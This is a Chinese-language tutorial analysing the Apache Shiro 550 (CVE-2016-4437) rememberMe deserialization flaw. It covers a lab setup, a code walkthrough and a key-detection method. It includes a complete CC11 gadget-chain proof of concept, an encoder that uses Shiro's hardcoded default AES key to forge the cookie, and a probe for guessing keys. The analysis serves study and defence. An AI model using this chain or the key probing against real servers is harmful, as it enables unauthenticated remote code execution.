0x00 前言
Shiro 550(CVE-2016-4437),其在护网期间担任重要的角色,也有很多的利用工具。本文将详细介绍Shiro 550漏洞原理
0x01 漏洞环境
这里搭建一个shiro的demo站点
首先下载shiro 1.2.4源码
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
用IDEA打开\shiro-shiro-root-1.2.4\samples\web,这个是shiro的demo站点
pox.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<!-- <dependency>-->
<!-- <groupId>javax.servlet</groupId>-->
<!-- <artifactId>jstl</artifactId>-->
<!-- <scope>runtime</scope>-->
<!-- </dependency>-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!-- <dependency>-->
<!-- <groupId>org.apache.commons</groupId>-->
<!-- <artifactId>commons-collections4</artifactId>-->
<!-- <version>4.0</version>-->
<!-- </dependency>-->
</dependencies>
</project>
tomcat配置
项目结构
启动,看到以下页面即搭建成功
0x02 漏洞原理
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。在shiro <= 1.2.24中,AES 加密算法的key是硬编码在源码中,导致攻击者一旦知道密钥,就可以构造恶意的序列化加密数据赋值到rememberMe上,从而触发反序列化漏洞
0x03 漏洞利用
shiro是给了我们一个能够反序列化的点,这里我们使用CC11来做为我们的利用链,对其进行AES加密以及base64编码
CC11的POC:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
生成cc11文件后,需要对其进行加密以及base64编码
package shiro550;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
public class AESencode {
public static void main(String[] args) throws Exception {
String path = "./cc11";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
PS:base64操作在ciphertext.toString()中
现在可以看到输出了加密后的cc11 payload
用burp发送即可弹计算器,不用登录,直接在cookie中加个rememberMe字段即可
0x04 漏洞分析
这个链子蛮短的,大致流程就是shiro首先获取cookie中的rememberMe字段,然后对其进行base64解密然后进行AES解密
首先是在AbstractRememberMeManager#getRememberedPrincipals中,将用户的上下文数据传入到getRememberedSerializedIdentity中
跟进getRememberedSerializedIdentity,首先获取request对象,然后获取用户的Cookie
跟进readValue,可以看到其实是获得rememberMe的值
回到上层,继续往下走发现对rememberMe值进行了base64解码,然后return
回到上一层,这里的bytes就是rememberMe的base64解码,跟进convertBytesToPrincipals方法,这个方法是进行解密的
继续跟进decrypt
可以看首先利用getDecryptionCipherKey获取解密密钥,然后利用cipherService.decrypt解密。跟进getDecryptionCipherKey看看是如何获取密钥的
直接返回了decryptionCipherKey
找找setdecryptionCipherKey,可以看到将decryptionCipherKey参数传给this.decryptionCipherKey
继续找谁调用了setDecryptionCipherKey,可以看到在setCipherKey中调用了
再找找谁调用了,可以看到无参构造器调用了,并且传入了常量DEFAULT_CIPHER_KEY_BYTES
所以说,getDecryptionCipherKey返回的结果就是DEFAULT_CIPHER_KEY_BYTES
捋一下流程:
-
AbstractRememberMeManager的构造函数中传入了 Base64解码后的密钥,然后调用了setCipherKey
-
setCipherKey 中调用了setDecryptionCipherKey设置了decryptionCipherKey属性
-
getDecryptionCipherKey 直接返回了该属性
好了回到上一层,解密密钥获得了,下一步开始解密
跟进decrypt,最后调用了this.decrypt进行解密
跟进decrypt,调用了this.crypt并且传入了2,这个2代表的解密模式,即需要解密
跟进crypt,最终调用cipher.doFinal进行解密,然后返回解密结果
返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回
返回值赋值给bytes并进行deserialize操作
跟进deserialize
再跟进deserialize,发现将序列化流读入到ObjectInputStream,然后调用readObject反序列化,这就出发了cc11利用链
成功弹出计算器
0x05 密钥检测
http://www.lmxspace.com/2020/08/24/一种另类的shiro检测方式/
网上有很多检测方式比如说dnslog,cc盲打等,这种会存在一些小问题,比如当这个 shiro 没有 dnslog ,且 gadget 不是CC的情况下,可能就会漏过一些漏洞。
现在介绍一种比较简单的方式,通过看响应包中是够包含deleteMe来检测
key正确则不显示deleteMe,反之则显示 deleteMe,这样的检测方法能够高效的进行检测
原理呢大概就是如果密钥不正确,在解密时就会抛出异常,该异常会被AbstractRememberMeManager#getRememberedPrincipals捕获到
跟进onRememberedPrincipalFailure发现会在响应头中添加deleteMe,所以说如果密钥不正确就会在响应头中看到RememberMe=deleteMe
但是呢,我们会发现其实在密钥正确的情况下发送利用链也会显示RememberMe=deleteMe,这是因为在反序列化后会将其转换为PrincipalCollection类,这里会抛出无法转换异常,从而被上层的getRememberedPrincipals捕获到,进入onRememberedPrincipalFailure方法,使得响应头中添加了RememberMe=deleteMe
所以在密钥正确的情况下想要让回显头中没有 deleteMe 也是有条件的
- 我们需要构造一个继承于 PrincipalCollection 的序列化对象
SimplePrincipalCollection继承了PrincipalCollection并且可以序列化
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("./detect.ser"));
obj.writeObject(simplePrincipalCollection);
obj.close();
然后用AES加密即可
package shiroexploit.demo;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
public class AESencode {
public static void main(String[] args) throws Exception {
String path = "detect.ser";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(path), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception{
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
key正确截图:
key不对的情况:
PS:对于cc11利用链来说,其会在反序列化过程中报错,所以说会被上层的getRememberedPrincipals捕获到,从而进入onRememberedPrincipalFailure方法,使得响应头中添加了RememberMe=deleteMe。所以说对于cc11payload来说,不管是正确的密钥还是错误的密钥都会显示RememberMe=deleteMe。下图中可以看到确实是在反序列化中发出异常了,走进了catch,但是由于我们的命令执行在报错之前所以并无大碍
0x06 总结
- 其实可以将AbstractRememberMeManager#getRememberedPrincipals当做主函数,其中getRememberedSerializedIdentity方法负责base64解码,convertBytesToPrincipals负责AES解密并反序列化
- 其实shiro550就是给我们了一个反序列化契机,只要我们能够爆破出key值就能利用cc或者其他Gadget构造恶意序列化加密payload赋值给RememberMe,发送过去后,shiro解码解密反序列化RememberMe从而触发了Gadget链条
- 利用SimplePrincipalCollection进行key检测
因为SimplePrincipalCollection在反序列化后被转为PrincipalCollection不会报转换异常,所以能存在异常的点就只有密钥错误从而爆出的异常。所以说利用SimplePrincipalCollection进行key检测,主要key不对响应包中就会有RememberMe=deleteMe
0x07 参考文章
https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
https://www.anquanke.com/post/id/225442#h3-9